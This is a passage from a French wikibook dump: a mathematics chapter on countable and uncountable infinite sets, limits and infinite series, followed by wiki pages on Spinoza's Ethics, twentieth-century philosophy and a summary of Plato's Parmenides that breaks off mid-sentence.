finies. Donc, cet ensemble est dénombrable. Nous les comptons le long des diagonales finies, 1/1, 1/2, 2/1, 1/3, 2/2, 3/1.... ====Exercices==== # Adapter la méthode de dénombrement de <math>\mathbb{Q'}\,</math> pour montrer que <math>\mathbb{Q}\,</math> est aussi dénombrable. Comment incluerez-vous 0 et les rationnels négatifs ? Comment résoudrez-vous le problème des entrées multiples qui représentent le même nombre ? # Montrer que <math> \infty \times \infty = \infty </math> (issu du fait que les infinis sont tous les deux dénombrables) ===Pouvons-nous trouver des ensembles plus grands que N ?=== Jusque là, nous avons examiné <math>\mathbb{N}\,</math>, <math>\mathbb{Z}\,</math>, et <math>\mathbb{Q}\,</math> et nous avons trouvé qu'ils avaient tous la même taille, bien que <math>\mathbb{N}\,</math> est un sous-ensemble de <math>\mathbb{Z}\,</math> qui est un sous-ensemble de <math>\mathbb{Q}\,</math>. Vous commencez à vous dire "C'est ainsi ? Tous les infinis sont de même taille ?" Dans ce chapitre, nous verrons qu'un ensemble est ''plus grand'' que <math>\mathbb{N}\,</math>. Un ensemble qui ''ne peut pas'' être mis en bijection avec <math>\mathbb{N}\,</math>, quelle que soit la manière dont il est disposé. L'ensemble en question est l'ensemble des nombres réels <math>\mathbb{R}\,</math>. Un nombre réel est n'importe quel nombre d'un axe gradué qui n'est pas dans <math>\mathbb{Q}\,</math>. Rappelez-vous que l'ensemble <math>\mathbb{Q}\,</math> contient tous les nombres qui peuvent être écrits sous la forme p/q avec p et q rationnels. La plupart des nombres ne peuvent jamais être mis sous cette forme. Voici des exemples de nombres irrationnels <math> \pi, e\,</math> et <math>\sqrt{2} </math>. L'ensemble <math>\mathbb{R}\,</math> est énorme ! Beaucoup plus grand que <math>\mathbb{Q}\,</math>. Pour ressentir les tailles différentes de ces deux ensembles infinis, considérons les développements décimaux d'un nombre réel et d'un nombre rationnel. Les nombres rationnels finissent toujours soit par : *1/8 = 0,125 ou avec une répétition de séquence : *1/11 = 0,0909090909...... Imaginez que vous mesuriez un livre. Si vous utilisez une règle, vous obtenez 10 cm. Si vous faites plus attention et lisez les mm, vous obtenez 10,2 cm. Vous pourriez aussi être plus précis et utiliser un pied à coulisse et obtenir 10,235 cm. Avec un microscope électronqie, vous obtiendriez 10,235823 cm et ainsi de suite. En général, le développement décimal de toute mesure ''réelle'' sera une liste de chiffres qui apparaitra completement aléatoire. Maintenant, imaginez que vous mesuriez un livre et que vous trouvez 10,101010101010 cm. Vous seriez surpris, non ? Mais, ceci est exactement la sorte de résultat que vous auriez si la longueur du livre était rationnelle. Les nombres rationnels sont denses (vous les trouvez sur tout un segment), infinis, mais encore beaucoup, beaucoup plus rares que les nombres réels. ===Comment pouvons-nous démontrer que R est plus grand que Q=== C'est bien d'avoir de ressentir les différences de tailles des infinis de la section précédente. Mais pour être réellement sûrs, nous devons avoir une démonstration. Pour démontrer que <math>\mathbb{R}\,</math> est plus grand que <math>\mathbb{Q}\,</math>, nous utilisons une méthode classique. Nous supposons que <math>\mathbb{R}\,</math> est de même taille que <math>\mathbb{Q}\,</math> et nous arrivons à une contradiction. Pour l'exigence de la clarté, nous restreindrons notre démonstration aux nombres réels entre 0 et 1. Nous appellerons cet ensemble <math>\mathbb{R'}\,</math>. De façon claire, si nous pouvons démontrer que <math>\mathbb{R'}\,</math> est plus grand que <math>\mathbb{Q}\,</math> alors <math>\mathbb{R}\,</math> doit être plus grand que <math>\mathbb{Q}\,</math> également. Si <math>\mathbb{R'}\,</math> était de la même taille que <math>\mathbb{Q}\,</math>, cela signifierait qu'il est dénombrable. Ceci veut dire que nous serions capable d'écrire sous une certaine liste, tous les éléments de <math>\mathbb{R}\,</math> (c'est ce que dénombrable veut dire, comme nous avons fait avec tous nos ensembles infinis précédents). Considérons cette liste. :<math>R_1\,</math> :<math>R_2\,</math> :<math>R_3\,</math> :<math>R_4\,</math> :. :. :. Où <math>R_1\,</math> est le premier nombre de notre liste, <math>R_2\,</math> est le deuxième, et ainsi de suite. Noter que nous n'avons pas indiqué l'ordre d'écriture de la liste. Pour cette démonstration, nous n'avons pas besoin de l'indiquer, seulement que les éléments de <math>\mathbb{R}\,</math> peuvent être mis en liste (et donc, dénombrables). Maintenant, écrivons le développement décimal de chaque élément de la liste. :<math>0,r_{11} r_{12} r_{13} r_{14} \ldots\,</math> :<math>0,r_{21} r_{22} r_{23} r_{24} \ldots\,</math> :<math>0,r_{31} r_{32} r_{33} r_{34} \ldots\,</math> :<math>0,r_{41} r_{42} r_{43} r_{44} \ldots\,</math> :. :. :. Où <math>r_{11}\,</math> signifie le premier chiffre après la virgule du premier nombre de la liste. Donc, si notre premier nombre est 0,36921... <math>r_{11}\,</math> serait 3, <math>r_{12}\,</math> serait 6 et ainsi de suite. Rappelez-vous que cette liste est sensée être complète. Par ceci, cela veut dire qu'elle contient ''chaque'' élément de <math>\mathbb{R'}\,</math>. Ce que nous devons faire pour démontrer que <math>\mathbb{R}\,</math> n'est pas dénombrable, c'est de construire un nombre qui n'est pas déjà dans la liste. Puisque la liste est supposée contenir ''chaque'' élément de <math>\mathbb{R'}\,</math>, ceci causera une contradiction et par conséquent montrera que l'on ne peut pas lister <math>\mathbb{R'}\,</math>. Pour construire ce nombre non compris dans la liste, nous choisissons une représentation décimale : :<math>0,a_1 a_2 a_3 a_4 \ldots\,</math> Où <math>a_1\,</math> est le premier chiffre après la virgule etc. Nous supposons que <math>a_1\,</math> prend n'importe quelle valeur de 0 à 9 inclus ''excepté'' le chiffre <math>r_{11}\,</math>. Donc, si <math>r_{11} = 3</math> alors <math>a_1\,</math> peut être 0, 1, 2, 4, 5, 6, 7, 8, ou 9. Puis, nous supposont que <math>a_2\,</math> soit n'importe quel chiffre excepté <math>r_{22}\,</math> (le deuxième chiffre du deuxième nombre de la liste). Puis <math>a_3\,</math>, le troisième chiffre excepté <math>r_{33}\,</math> et ainsi de suite. Maintenant, si ce nombre, que nous venons de construire ''était'' quelquepart dans la liste alors il serait égal à <math>\mathbb{R_{\alpha}}\,</math> (où <math>\alpha\,</math> est n'importe quel nombre). Regardons ce à quoi <math>\mathbb{R_{\alpha}}\,</math> peut être égal. Il ne peut pas être égal à <math>R_1\,</math> parcequ'il possède un premier chiffre différent (<math>r_{11}\,</math> et <math>a_1\,</math>). Il ne peut pas non plus être égal à <math>R_2\,</math> parcequ'il possède un deuxième chiffre différent, et ainsi de suite. En fait, il ne peut pas être égal à ''n'importe'' quel nombre de la liste because il diffère par au moins un chiffre de ''tous'' ceux-là. Nous avons fait ce que nous voulions. Nous avons construit un nombre qui est dans <math>\mathbb{R}\,</math> mais qui n'est pas dans la "liste de tous les éléments de <math>\mathbb{R}\,</math>". Ceci veut dire que <math>\mathbb{R}\,</math> est plus grand que n'importe quelle liste. Il ne peut pas être listé. Il n'est pas dénombrable. Il est infini plus grand que <math>\mathbb{Q}\,</math>. ===Existe-t'il des infinis plus grands ?=== Ils existent mais ils sont difficiles à décrire. L'ensemble de toutes les combinaisons possibles de n'importe quel nombre de nombres réels est un infini "plus grand" que <math>\mathbb{R}\,</math>. Néanmoins, imaginer un tel ensemble embrouille l'esprit. Regardons à la place un ensemble qui semblerait plus grand que <math>\mathbb{R}\,</math> mais qui ne l'est pas. Rappelez-vous <math>\mathbb{R'}\,</math>, que nous avons défini plus tôt comme l'ensemble des nombres sur un segment compris entre 0 et 1. Considérons l'ensemble de tous les nombres dans le carré entre les points du plan [0,0] et [1,1]. Au premier abord, il semblerait évident qu'il doit y avoir beaucoup plus de points sur le carré qu'il en existe sur une ligne. Mais, en mathématiques transfinies, l'"évident" n'est pas toujours vrai et la démonstration est la seule manière de le voir. Cantor dépensa trois années à essayer de démontrer que c'était vrai mais il échoua. Sa raison pour l'échec était la meilleure possible. C'est faux. [[Image:Points sur un segment et un carré.png]] Chaque point dans ce carré est défini par deux nombres, l'abscisse et l'ordonnée; x et y tous deux le long de <math>\mathbb{R}\,</math>. Considérons un point du segment. <math>0,a_1 a_2 a_3 a_4 \ldots\,</math>. Pouvez-vous penser à une manière d'utiliser ce seul nombre pour définir un point dans le carré ? De même, pouvez-vous penser à une manière de combiner les deux nombres <math>x = 0,x_1 x_2 x_3 x_4\ldots\,</math> et <math>y = 0,y_1y_2y_3y_4\ldots\,</math> pour définir un point sur le segment ? (penser à cela avant de lire la suite) Une manière de le faire est de prendre :<math>a_1 = x_1\,</math> :<math>a_2 = y_1\,</math> :<math>a_3 = x_2\,</math> :<math>a_4 = y_2\,</math> :. :. :. Ceci définit une bijection entre les points du carré et les points du segment. ====Exercices==== #Démontrer que le nombre de points dans un cube est le même que le nombre de points sur l'un de ses cotés. ===L'hypothèse du continu=== Nous finirons le chapitre sur les ensembles infinis en jetant un coup d'oeil à l''''hypothèse du continu'''. Cette hypothèse établit qu'il n'existe pas d'infini entre les nombres naturels et les nombres réels. Cantor inventa un système de nombres pour les nombres transfinis. Il appela le plus petit infini <math>\aleph_0</math>, puis le plus grand suivant <math>\aleph_1</math> et ainsi de suite. Il est facile de démontrer que le cardinal de <math>\mathbb{N}\,</math> is <math>\aleph_0</math> mais est-ce que le cardinal des réels est <math>\aleph_1</math>? D'une autre manière, l'hypothèse établit que : :Il n'existe pas d'ensemble infini plus grand que l'ensemble des nombres naturels mais plus petit que l'ensemble des nombres réels. L'hypothèse est intéressante parcequ'il a été démontré que "Il n'est pas possible de démontrer que l'hypothèse est vraie ou fausse, en utilisant les axiomes normaux de la théorie des ensembles". ===Lectures plus poussées=== Si vous voulez en apprendre plus sur la théorie des ensembles ou sur les ensembles infinis, lisez une des pages intéressantes de Wikipédia. *[http://en2.wikipedia.org/wiki/Ordinal_number ordinal numbers] *[http://en2.wikipedia.org/wiki/Aleph_null Aleph numbers] *[http://en2.wikipedia.org/wiki/Set_theory Set theory] *[http://en2.wikipedia.org/wiki/Hilbert%27s_paradox_of_the_Grand_Hotel Hilbert's Hotel] ==Limites : ''comment éviter l'infini''== La théorie des ensembles infinis nous semble étrange au 21ème siècle, mais au temps de Cantor, elle était détestable pour la plupart des mathématiciens. Dans cette période, l'idée d'infini était trop troublante, ils ont essayé de l'éviter autant que possible. Malheureusement, la branche mathématique appelée '''analyse''' était destinée a être très utile en mathématiques, physique, ingénierie. C'était un domaine trop utile pour simplement pour l'ignorer parcequ'il était relié à l'infini ou aux processus infinis. Pour contourner ce problème, l'idée de ''limite'' fut inventée. Considérons la suite :<math>\frac{1}{1}, \frac{1}{2}, \frac{1}{3}, \frac{1}{4}, \cdots , \frac{1}{n} \cdots </math> Cette suite est appelée la suite harmonique. Noter que les termes de la suite deviennent de plus en plus petits lorsque leur nombre augmente. Que se passe-t'il si nous rendons n infini ? Le terme deviendrait <math> \frac{1}{\infty}</math> Mais ceci n'a pas de sens. (Les mathématiciens considèrent comme mauvais de diviser par l'infini. L'infini n'est pas un nombre usuel, vous ne pouvez pas diviser par lui). Une meilleure manière d'y penser (La manière que vous avez probablement déjà pensé, si vous avez envisagé le problème) est de prendre cette approche : L'infini est très grand, plus grand que n'importe quel nombre auquel vous pourriez penser. Donc, rendons ''n'' de plus en plus grand et regardons si 1/''n'' approche un certain nombre fixé. Dans ce cas, comme ''n'' devient de plus en plus grand, 1/''n'' devient de plus en plus petit. Donc, il est raisonnable de dire que la ''limite'' est 0. En mathématiques, nous écrivons ceci sous la forme :<math> \lim_{n \to \infty} \frac {1}{n} = 0 </math> et est lue : :la limite de 1/''n'' lorsque ''n'' tend vers l'infini est zéro. Noter que nous n'avons pas divisé 1 par l'infini et donné la réponse 0. Nous avons fais en sorte que le nombre ''n'' soit de plus en plus grand et que son inverse tende de plus en plus vers zéro. Les mathématiciens du 18ème siècle ont adoré cette idée parcequ'elle évitait l'abomination de ''division par l'infini''. ''n'' reste fini tout le temps. Bien sur, on ne se préoccupe pas de l'énormité de ''n'', 1/''n'' ne sera pas ''exactement'' égal à zéro, il existe toujours une petite différence. Cette différence (ou erreur) est généralement représentée par <math>\epsilon\,</math> (epsilon). ===Info -- infiniment petit=== <blockquote style="padding: 1em; border: 2px dotted purple;"> Lorsque nous parlons d'infini, nous y pensons comme quelque chose d'énorme. Mais il existe aussi l'infiniment petit, représenté par <math>\varepsilon\,</math> (epsilon). Cet animal est plus proche de zéro que tout autre nombre. Les mathématiciens utilisent aussi le caractère <math>\varepsilon\,</math> pour représenter n'importe quoi de petit. Par exemple, le célèbre mathématicien hongrois Paul Erdős utilisait ce mot pour faire référence aux enfants. </blockquote> ===Exemples=== Regardons la fonction :<math> \frac{x^2 + x}{x^2} </math> Quelle est la limite lorsque x tend vers l'infini ? L'idée de limite a ici toute sa valeur. En remplaçant simplement ''x'' avec l'infini, cela nous donne : :<math> \ \frac{\infty^2 + \infty}{\infty^2} = ? </math> Mais en utilisant les limites, nous pouvons résoudre :<math> \lim_{x \to \infty} \frac{x^2 + x}{x^2} = 1 + \lim_{x \to \infty}\frac{ 1}{x} = 1</math> Pour notre deuxième exemple, considérons la limite lorsque x tend vers l'infini de <math> x^3 -x^2 </math> De nouveau, regardons la ''mauvaise'' manière de le faire. En substituant <math> x = \infty</math> dans l'expression, cela donne <math> \infty^3 -\infty^2 </math>. Noter que vous ne pouvez pas dire que ces deux infinis s'annulent pour donner la réponse zéro. Maintenant, effectuons la manière ''correcte'', en utilisant les limites :<math>\lim_{x \to \infty}x^3 -x^2 = \lim_{x \to \infty}x^2(x-1) = \infty </math> La dernière expression représente les deux fonctions multipliées ensembles. Les deux tendent vers l'infini lorsque ''x'' tend vers l'infini, donc le produit est l'infini aussi. Ceci veut dire que la ''limite'' n'existe pas, i.e. il n'existe pas de nombre fini que la fonction approche lorsque ''x'' devient de plus en plus grand. Encore une fois, simplement pour que vous soyez familier avec la manière dont cela fonctionne. Calculer : :<math>\lim_{x \to \infty}\frac{\sin x}{x} </math> Pour rendre les choses très claires, nous réécrirons ceci sous la forme :<math>\lim_{x \to \infty}\frac{1}{x}(\sin x) </math> Maintenant, pour calculer ceci, nous avons besoin de regarder les propriétés de sin(x). Sin(x) est une fonction dont vous devriez être déjà familier (ou vous allez l'être bientôt) avec sa valeur qui oscille entre 1 et -1 dépendant de x. Ceci veut dire que la valeur absolue de sin(x) (la valeur en ignorant le signe plus ou moins) est toujours inférieure ou égale à 1 : :<math> |x| \le 1</math> Donc, nous avons 1/x dont nous savons déjà qu'il tend vers zéro lorsque x tend vers l'infini multiplié par sin(x) qui reste toujours fini quelle que soit la valeur de x. Ceci nous donne :<math>\lim_{x \to \infty}\frac{1}{x}(\sin x) = 0 </math> ===Exercices=== Evaluer les limites suivantes; #<math>\lim_{x \to \infty}\frac{3x^2 -4}{2x^2 +x} </math> #<math>\lim_{x \to \infty}\frac{x^2 -1}{2x^3 +3} </math> #<math>\lim_{x \to \infty}\frac{cos x}{x^2} </math> #<math>\lim_{x \to \infty}(2x^2 -x^4) </math> ==Séries infinies== Considérons la somme infinie : :<math>\frac{1}{1} + \frac{1}{2} + \frac{1}{4} + \frac{1}{8} + \frac{1}{16} + \ldots\,</math> Pensez-vous que cette somme sera égale à l'infini une fois que tous les termes seront additionnés ? Sommons les premiers termes. <math> \begin{matrix} S_1 &=& \frac{1}{1} &=& 1 \\ S_2 &=& \frac{1}{1} + \frac{1}{2} &=& 1,5 \\ S_3 &=& \frac{1}{1} + \frac{1}{2} + \frac{1}{4} &=& 1,75 \\ S_4 &=& \frac{1}{1} + \frac{1}{2} + \frac{1}{4} + \frac{1}{8} &=& 1,825 \\ \end{matrix} </math> Pouvez-vous deviner ce qu'est <math>S_\infty</math> ? Voici une autre manière de le voir. Imaginez un point sur un segment se déplaçant le long de la progression de la somme. Dans le premier terme, le point saute à la position 1. Le demi-chemin entre 0 et 2. A la deuxième étape, le point saute à la position 1,5 - le demi-chemin entre 1 et 2. A chaque étape de la progression (montré d'une couleur différente sur le schéma) la distance à 2 est diminuée de moitié. Le point peut être approché du point 2 autant que vous voulez. Vous avez besoin simplement du nombre approprié de sauts, mais le point ne sera jamais atteint avec un nombre fini de sauts. Nous disons qu'à la limite, lorsque n tend vers l'infini, S<sub>n</sub> tend vers 2. [[Image:Représentation_série_géométrique.png]] ===Paradoxe de Zenon=== Les Grecs anciens avaient un gros problème avec la sommation des séries infinies. Un paradoxe célèbre dû au philosophe Zenon est le suivant : Dans le paradoxe d'Achille et la tortue, nous imaginons le héros grec Achille dans une course à pied avec une tortue. Parcequ'il est un coureur très rapide, Achille permet gracieusement à la tortue de commencer la course en tête d'une centaine de mètres. Si nous supposons que chaque coureur commence à courir à une certaine vitesse constante (une très rapide et une très lente), alors après un certain temps fini, Achille aura couru une centaine de mètres, rattrapant le point de départ de la tortue. Pendant ce temps, la tortue a "couru" une distance (plus courte), disons un mètre. Cela prendra à Achille un temps supplémentaire de courir cette distance, pendant lequel la tortue avancera un peu plus; puis un autre temps supplémentaire pour atteindre ce troisième point, tandis que la tortue avancera. Ainsi, lorsque Achille atteindra un endroit quelquepart où la tortue a été, il lui restera encore une distance à parcourir. Par conséquent, comme le dit Zenon, Achille ne pourra jamais rattraper la tortue. L’Éthique - Partie II, Axiomes 3817 15297 2005-06-02T21:59:01Z Marc 66 /* Axiome I */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Commentaire de l'Éthique]]</center> |- | width="33%"|<[[L’Éthique - Partie II, Définitions|Définitions]] | width="34%" align="center"|'''Baruch Spinoza''' | width="33%" align="right"| |} En tête de la deuxième partie, nous trouvons cinq axiomes qui concernent certains traits caractéristiques de l'essence humaine : ''I. L’essence de l’homme n’enveloppe pas l’existence nécessaire'' etc. == Axiome I == ''I. L’essence de l’homme n’enveloppe pas l’existence nécessaire, en d’autres termes, dans l’ordre de la nature, il peut arriver que tel ou tel homme existe, comme il peut arriver qu’il n’existe pas.'' ''I. Hominis essentia non involvit necessariam existentiam hoc est ex naturæ ordine tam fieri potest ut hic et ille homo existat quam ut non existat.'' === Commentaire === Nous savons, par la première partie, que seule l'existence de Dieu est enveloppée par son essence. L'existence de l'homme n'est nécessaire qu'en tant qu'elle est dans un enchaînement de causes et d'effets (''dans l’ordre de la nature''), et cette existence n'est pas celle de l'homme en général, mais de cet homme ou de celui-ci (''tel ou tel homme''). == Axiome II == II. Homo cogitat. == Axiome III == == Axiome IV == == Axiome V == Philosophie/Histoire de la philosophie/La philosophie au XXème siècle 3819 47193 2006-07-03T08:28:29Z Guillaumito 46 [[Histoire de la philosophie - La philosophie au XXème siècle]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie au XXème siècle]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|'''5. Le XIX<sup>e</sup> siècle''']]''' | width="34%" align="center"|'''La philosophie au XXème siècle''' | width="33%" align="right"| |} *[[Martin Heidegger]] Parménide (dialogue de Platon) 3820 21672 2005-09-18T21:07:21Z 83.112.109.212 /* Éditions */ Le '''''Parménide''''' (ou ''Sur les Formes'', genre logique) est un dialogue de [[Platon]] qu'il écrivit dans la dernière partie de sa vie. Personnages du prologue : Céphale, Adimante, Glaucon<br /> Personnages du dialogue : Socrate, Pythodore, Zénon, Parménide, Aristote == Résumé == Ce dialogue se compose de deux parties : *une critique de la thèorie des Formes, où [[Parménide]] montre à [[Socrate]] que si les Formes existent, d'une part il est impossible que les êtres d'ici-bas y participent, d'autre part, on ne peut les connaître ; *un examen de toutes les conséquences de l'hypothèse : si l'[[Un]] est, qui montre que l'on peut et ne peut pas attribuer toutes les catégories de l'[[être]] au concept d'Un. L'influence de ce dialogue est considérable ; on peut dire qu'il est la source de toute la [[métaphysique]] occidentale. Chaque embranchement de l'analyse de l'Un a donné lieu à une [[philosophie]] ([[néo-platonisme]], [[idéalisme]] de [[George Berkeley|Berkeley]], etc.). == Analyse du dialogue == Céphale demande à Adimante d'entendre les propos échangés par [[Socrate]], [[Zénon]] et [[Parménide]]. C'est Antiphon qui en fait le récit. === Première partie === Zénon et Parménide sont à [[Athènes]] ; Socrate, tout jeune homme, désirait les entendre, mais il arrive à la fin de la lecture de Zénon. Il demande alors à celui-ci de relire la première hypothèse prononcée : « si les êtres sont multiples, il faut qu'ils soient à la fois semblables et dissemblables. » ==== Si les choses sont plusieurs ==== Socrate objecte à cette hypothèse (''si les choses sont plusieurs il s'ensuit qu'elles sont à la fois semblables et dissemblables'') qu'elle est impossible car ni ce qui est semblable ne peut être dissemblable, ni ce qui est dissemblable ne peut être semblable. Par conséquent, il est aussi impossible que les choses soient plusieurs, car si elles étaient plusieurs, elles seraient affectées de ces impossibilités. L'intention de Zénon serait donc, suppose Socrate, d'établir que les choses ne sont pas plusieurs. Ainsi, quand [[Parménide]] pose que l'univers est un, il produit des preuves ; Zénon, à l'inverse, pose que les choses ne sont pas plusieurs. Vous semblez ne pas dire la même chose, remarque Socrate, et pourtant vous dites la même chose : ''l'Un est'', ''les choses ne sont pas plusieurs.'' Zénon lui répond que Socrate n'a pas saisi le vrai dessein de son livre. En vérité, dit Zénon, mon livre veut secourir la thèse de Parménide : « s'il est un » (si l'un est), contre ceux qui attachent à cette thèse plusieurs conséquences ridicules qui entrent en contradiction avec elle. Certains en montrent en effet les conséquences absurdes ; donc je répond en montrant la plus grande absurdité de la thèse : « si les choses sont plusieurs. » Il faut remarquer que l'hypothèse de [[Parménide]] historique est en réalité « si l'étant est », et non « si l'un est », ou « s'il est un », suivant les traductions. ==== Les Formes en soi ==== [[Socrate]], après avoir entendu cette réponse, et pour résoudre la difficulté de l'un et du multiple avance l'hypothèse de la Forme en soi : ne peut-il y avoir une Forme en soi de la ressemblance et une Forme contraire de la Dissemblance ? Ainsi, les choses dites multiples peuvent participer à ces deux Formes sans contradiction. Les choses qui participent à la ressemblance sont semblables ainsi ; celles qui participent à la dissemblance sont dissemblables ; et celles qui participent à ces deux Formes sont à la fois semblables et dissemblables. Ce qui serait contradictoire et un véritable prodige, ce serait que le Semblable en soi devienne dissemblable ; en revanche les choses sont unes et multiples en participant à l'Un et à la Pluralité. Dès lors, deux affirmations peuvent être vraies d'un même être sans être contradiction. Si les mêmes genres, les mêmes Formes semblaient en soi affectés par ces mêmes caractères contraires, il y aurait de quoi s'étonner. Ainsi, moi, dit Socrate, je suis plusieurs ; mais l'être humain que je suis est unique, en participant à l'Un. Les deux affirmations sont vraies. Montrer que les mêmes choses sont plusieurs et une, ce n'est donc pas montrer que l'Un est multiple ou que la Pluralité est une. Le véritable problème ne se situe donc pas au niveau des choses visibles, comme Zénon s'en est contenté ; la question serait plutôt de savoir si cette difficulté se rencontre au niveau des objets que saisit la [[raison]]. ==== Réfutation de la participation ==== Quelle ardeur pour l'argumentation ! s'exclame Parménide. Mais toi, demande-t-il alors à Socrate, as-tu fait cette distinction, mettant d'un côté les Formes en soi, d'un autre les choses qui en participent ? Y a-t-il pour toi une Ressemblance en soi distincte de celle que nous avons en nous ? Et pour l'[[Un]], le [[Beau]], le [[Bien]], etc. Et une Forme de l'être humain distincte de chaque être humain, une du Feu, de l'Eau ? Et des choses grotesque (comme le cheveu, la boue, la crasse) et sans valeurs, y a-t-il une forme séparée ? Socrate l'affirme mais hésite, car c'est trop grotesque pour certaines choses. Parménide lui répond qu'il est encore jeune : :« la philosophie ne t'a pas encore saisie, de cette ferme emprise qui fera que tu ne méprisera plus aucune de ces choses. En raison de ton âge, tu restes fasciné par l'opinion des gens. » ===== Difficultés de la théorie des réalités en soi ===== Parmènide poursuit son interrogation : te semble-t-il qu'il y ait des Formes dont, parce qu'elles y participent, les autres choses, celles d'ici-bas, reçoivent le nom qui est le leur ? Socrate l'affirme. Dans ce cas, est-ce à la Forme en totalité, ou à l'une de ses parties que participe chaque chose ? Ou y a-t-il une autre façon de participer, à part ces deux ? Il n'y en pas répond Socrate. Donc, la Forme, en sa totalité, se trouve en chacune des choses qui sont plusieurs, tout en restant une et identique ; elle sera en totalité dans plusieurs choses distinctes, et en même temps elle se trouvera elle-même distincte d'elle-même. À cette forte objection, Socrate répond : le [[jour]] reste un et identique, en plusieurs endroit en même temps, sans être distinct de lui-même. De même, les Formes sont en même temps une et identique en toutes choses. Mais, dans ce cas, ce n'est pas en totalité, comme un voile sur plusieurs [[personne]]s. Les Formes sont donc divisibles, et les choses qui en participent ont part à une partie de ces Formes. On ne peut donc dire que la Forme, qui est une, se trouve divisée entre nous, en restant encore une. Ainsi serait-il absurde de diviser la Grandeur en soi, l'Égal, le Petit : le Petit deviendrait plus grand que sa partie ! D'où cette question : comment les choses participeront-elles aux Formes, si ce n'est ni en parties, ni en totalité ? ===== Difficultés de la connaissance des réalités en soi ===== Mais les objections ne s'arrêtent pas là : cette hypothèse, pour définir quelque chose, étant posée comme quelque chose à part, une grande difficulté surgit : il ne convient même pas que les Formes soient connues. En effet, s'il y a une [[réalité]] en soi de quelque chose, aucune de ces réalités ne se trouve dans notre [[monde]] : une réalité en soi ne peut être dans ce monde. ==== Résumé des objections contre la théorie des Formes ==== Parménide montre l'impossibilité de la [[théorie]] de la participation, en soulevant deux séries de difficultés : *difficultés relatives à la participation : **une chose doit participer à une Forme en sa totalité ou à l'une de ses parties ; dans les deux cas la Forme perd son unité. **quand une chose paraît grande, c'est par la Grandeur en soi ; mais si on regarde la Grandeur et cette chose, une autre Forme apparaît à laquelle elles participent, et ainsi de suite à l'infini. **si la Forme est une pensée n'existant que dans l'âme, **si la Forme est un modèle dont les choses sont des images, il y a encore une régression à l'infini. *difficultés de la connaissance par la théorie des Formes : **la science en soi n'est pas la science du monde sensible. Ni les hommes ne peuvent posséder la science en soi, ni les dieux ne peuvent posséder la science de ce monde-ci. ==== Conséquences de ces objections ==== Parménide indique qu'il y a encore de nombreuses difficultés, si ces Formes existent en soi. Celui qui dirait : « ces Formes n'existent pas et, si à la rigueur elles existent, elles restent de toute nécessité inconnaissables à la nature humaine», il serait très difficile de changer sa conviction. Ce serait un homme merveilleux qui pourrait comprendre qu'il y a de chaque chose un être en soi et par soi et qui pourrait l'enseigner. Mais quelqu'un qui refuse de poser à part une Forme ne saura de quel côté tourner sa pensée, car il n'y aura aucune Forme toujours même et toute [[dialectique]] sera impraticable. Que fera-t-on alors de l'aspiration au [[savoir]] ? Où se tourner si à ces questions on n'a pas de réponse ? Continue à t'exercer, argumente, conseille Parménide à [[Socrate]], sinon la vérité se dérobera à toi. Ne laisse pas l'enquête s'égarer dans les choses visibles, mais applique-toi aux objets de la raison par excellence, objet dont on peut estimer que ce sont les Formes. === Seconde partie : « s'il est un, s'il n'est pas un » === ==== Analyse de l'hypothèse ==== Cette partie consiste à déduire les différentes conséquences qui découlent pour l'Un et pour les choses de l'hypothèse : ''ei hén esti'' et de sa négation : « si l'un est », « si l'un n'est pas. » On peut distinguer plusieurs sens donnés à ''esti'' dans l'ensemble de cette partie : *copule *existence *identité *appartenance et possession. Platon examine les conséquences de cette hypothèse et à sa négation relativement à l'être et aux autres choses. Ainsi la méthode est-elle la suivante : *une hypothèse est posée ; *on déduit ses conséquences ainsi que les conséqences de sa négation ; *on montre ce qui conduit à des conséquences fausses. Le ''relativement à l'être'' suppose la définition de certains termes : *Tout et parties ; *Nombre ; *Limité et illimité ; *Figure ; *Lieu ; *Mouvement ; *Identité et différence ; *Ressemblance et dissemblance ; *Égalité et inégalité ; *Temps. ==== Articulation des deux parties ==== La question est de savoir ce qui lie cette seconde partie à la première. La première est essentiellement une réfutation de la théorie des Idées. Pourquoi Platon passe-t-il dans la seconde partie à cet exercice dialectique qui, à première vue, peut sembler n'avoir qu'un lointain rapport, et qui, de plus, ce termine sur une [[aporie]] ? ==== L'un n'est pas plusieurs choses ==== Si l'Un n'est pas plusieurs, il doit s'en suivre que : *l'Un n'a pas de parties, ni est un tout ; en effet, dans le cas contraire, il serait composé de parties ; or, d'après l'hypothèse, l'Un n'est pas multiple. *s'il n'a pas de parties, il n'a ni commencement, ni fin, ni milieu ; car ce serait là des limites, i.e. des parties qui lui feraient des déterminations. Il n'a pas non plus de limites, car il n'est pas multiple. *l'Un n'est nulle part : ni en autre chose, ni en lui-même. S'il est en autre chose, il se trouve en contact avec ce qui l'enveloppe en plusieurs points. S'il est en lui-même, il serait deux. Donc, l'Un n'est nulle part. *il n'est ni en repos, ni en mouvement. S'il est en mouvement, il se déplacerait ou s'altèrerait ; mais alors, il aurait un lieu et serait composé de parties. Or, ce qui n'a pas de parties et n'est pas un tout ne peut venir à être quelque part. Donc, l'Un ne change pas de place et n'a aucune espèce de mouvement. Mais s'il ne se trouve nulle part, il ne peut rester au même endroit. Donc il n'a ni tranquillité ni repos. *l'Un n'est ni identique ni différent de lui-même ou d'autre chose. Car, s'il est différent de lui-même, il n'est pas un ; s'il est identique à autre chose, il n'est pas ce qu'il est. Il n'est différent de rien ; mais il n'est pas identique à lui-même, car devenir identique, ce n'est pas devenir un. Et s'il est identique à lui-même, il ne fera pas un avec lui-même. *en conséquence il n'est pas non plus semblable ou dissemblable à l'égard de lui-même ou d'autre chose. *il n'est ni égal ni inégal, sinon il aurait le même [[nombre]] d'unité de mesure que ce à quoi il est égal, ou il sera plus ou moins grand. *il n'est ni plus vieux, ni plus jeune, ni du même âge, car sinon il participerait à l'égalité et à la ressemblance. Il ne saurait donc être dans le [[temps]], et n'a pas part au temps. En conséquence, l'Un n'est pas devenu, il ne devenait pas, il n'était pas ; il ne devient pas, il n'est pas ; il ne deviendra pas, il ne sera pas devenu, il ne sera pas. En résumé, puisqu'il n'y a pas de moyen de participer à l'[[être]] que sous ces modes, l'Un ne participe pas à l'être et il n'est d'aucune manière. Mais dans ce cas, il n'a pas l'être qu'il faut pour être un : donc l'Un n'est pas Un, et il n'est pas. En conséquence, il n'y a rien à lui, ni de lui ; il n'a ni nom, ni définition : 